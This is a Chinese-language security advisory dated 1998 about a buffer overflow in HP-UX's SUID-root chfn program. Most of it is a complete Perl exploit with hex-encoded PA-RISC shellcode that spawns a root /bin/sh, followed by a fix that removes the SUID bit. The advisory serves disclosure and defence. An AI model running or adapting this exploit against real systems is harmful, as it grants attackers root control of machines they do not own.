HP-UX的chfn(2)程序存在漏洞发布时间:1998-01-13 更新时间:1998-01-13 严重程度:高 威胁程度:本地管理员权限 错误类型:输入验证错误 利用方式:服务器模式 受影响系统 运行在HP-UX9.X和10.X的所有平台详细描述 由于缺乏对用户所提交的参数缺少边界检查,当chfn 程序执行时候回覆盖内部的堆栈空间。通过提交一段精心编写的参数给chfn程序,攻击者可以强迫chfn程 序执行任意命令,由于chfn是SUID ROOT类程序,可以执行以ROOT身份执行的命令,导致系统被控制。 测试代码 #!/usr/bin/perl use FileHandle; sub h2cs { local($stuff)=@_; local($rv); while($stuff !~ /^$/) { $bob=$stuff; $bob =~ s/^(..).*$/$1/; $stuff =~ s/^..//; $rv.=chr(oct("0x${bob}")); } return $rv; } open(PIPE,"uname -r|"); chop($rev=<PIPE>); close(PIPE); $rev =~ s/^.*\.(.*)\..*$/$1/; if ($rev eq "10") { $offset=2070; $prealign="AA"; $postalign="PPPP"; $pcoq=h2cs("7b03A013"); } else { $offset=2070; $prealign="AA"; $postalign="PPPP"; $pcoq=h2cs("7b033013"); } $nop=h2cs("08210280"); $code=""; $code.=h2cs("34160506"); # LDI 643,r22 $code.=h2cs("96d60534"); # SUBI 666,r22,r22 $code.=h2cs("20200801"); # LDIL L%0xc0000004,r1 $code.=h2cs("e420e008"); # BLE 4(sr7,r1) $code.=h2cs("0b5a029a"); # XOR arg0,arg0,arg0 $code.=h2cs("e83f1ffd"); # BL .+8,r1 $code.=h2cs("08210280"); # NOP $code.=h2cs("34020102"); # LDI 129,rp $code.=h2cs("08410402"); # SUB r1,rp,rp $code.=h2cs("60400162"); # STB r0,177(rp) $code.=h2cs("b45a0154"); # ADDI 170,rp,arg0 $code.=h2cs("0b390299"); # XOR arg0,arg0,arg0 $code.=h2cs("0b180298"); # XOR arg0,arg0,arg0 $code.=h2cs("341604be"); # LDI 607,r22 $code.=h2cs("20200801"); # LDIL L%0xc0000004,r1 $code.=h2cs("e420e008"); # BLE 4(sr7,r1) $code.=h2cs("96d60534"); # SUB 666,r22,r22 $code.=h2cs("deadcafe"); # Illegal instruction -- dump core if exec fails $data="/bin/sh."; # Data stuff $codedata=$code.$data; $num=int(($offset-length($code)-length($data)- 4)/4); $pre="$nop"x$num; $of=$prealign; $of.=$pre.$code.$data.$postalign.$pcoq; exec("/usr/bin/chfn","$of"); 解决方案 使用chmod 500 /usr/bin/chfn去掉SUID位 或者升级chfn程序: ftp://ftp.auscert.org.au/pub/auscert/tools/overfl ow_wrapper.c 相关信息 |